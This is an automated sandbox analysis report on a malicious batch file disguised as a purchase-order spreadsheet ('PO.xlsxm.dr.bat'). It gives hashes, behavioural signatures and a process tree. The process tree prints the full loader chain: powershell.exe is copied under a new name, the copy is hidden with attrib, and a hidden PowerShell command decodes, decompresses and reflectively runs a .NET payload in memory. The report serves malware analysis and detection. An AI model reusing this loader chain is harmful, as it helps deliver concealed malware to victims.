Analysis
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max time kernel
118s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
02/05/2024, 01:13
Static task
static1
Behavioral task
behavioral1
Sample
PO.xlsxm.dr.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
PO.xlsxm.dr.bat
Resource
win10v2004-20240419-en
General
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Target
PO.xlsxm.dr.bat
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Size
2.9MB
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MD5
a266a061c002211e274caa234aed8c4f
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SHA1
9d517f1bac79fe71fc849905331ff7f10ac51a4e
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SHA256
c1bcceda8e24feed7019bb01a0b147661a01b23cae8a54d2a6fc8935bf1bd7cb
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SHA512
3fcca48852732f8f3a31999af7ea83883e44ffe5c90f8e417010c82af5caa4fdaed3a3110926f66cd50927fe0b7b3e967d6163e4584cc746a19ba51cbdee55c4
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SSDEEP
49152:+az/pgAObh21hpmsU1uRkGgL3razanTMx2DSbCXc7UnW92:I
Malware Config
Signatures
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 2272 attrib.exe -
Executes dropped EXE 1 IoCs
pid Process 2256 PO.xlsxm.dr.bat.Pxi -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2256 PO.xlsxm.dr.bat.Pxi -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2256 PO.xlsxm.dr.bat.Pxi -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2256 PO.xlsxm.dr.bat.Pxi -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2004 wrote to memory of 2244 2004 cmd.exe 29 PID 2004 wrote to memory of 2244 2004 cmd.exe 29 PID 2004 wrote to memory of 2244 2004 cmd.exe 29 PID 2004 wrote to memory of 1708 2004 cmd.exe 30 PID 2004 wrote to memory of 1708 2004 cmd.exe 30 PID 2004 wrote to memory of 1708 2004 cmd.exe 30 PID 2004 wrote to memory of 2272 2004 cmd.exe 31 PID 2004 wrote to memory of 2272 2004 cmd.exe 31 PID 2004 wrote to memory of 2272 2004 cmd.exe 31 PID 2004 wrote to memory of 2256 2004 cmd.exe 32 PID 2004 wrote to memory of 2256 2004 cmd.exe 32 PID 2004 wrote to memory of 2256 2004 cmd.exe 32 PID 2004 wrote to memory of 2256 2004 cmd.exe 32 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2272 attrib.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:2244
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi2⤵PID:1708
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2272
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C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.PxiC:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat.Pxi -WindowStyle hidden -command "$Udydfldga = Get-Content 'C:\Users\Admin\AppData\Local\Temp\PO.xlsxm.dr.bat' | select-object -Last 1; $Eviptzvmy = [System.Convert]::FromBase64String($Udydfldga);$Ebawdvtqvk = New-Object System.IO.MemoryStream( , $Eviptzvmy );$Dlbpv = New-Object System.IO.MemoryStream;$Maplsau = New-Object System.IO.Compression.GzipStream $Ebawdvtqvk, ([IO.Compression.CompressionMode]::Decompress);$Maplsau.CopyTo( $Dlbpv );$Maplsau.Close();$Ebawdvtqvk.Close();[byte[]] $Eviptzvmy = $Dlbpv.ToArray();[Array]::Reverse($Eviptzvmy); $Jwbidbkxfb = [System.Threading.Thread]::GetDomain().Load($Eviptzvmy); $Gegworgxk = $Jwbidbkxfb.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2256
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f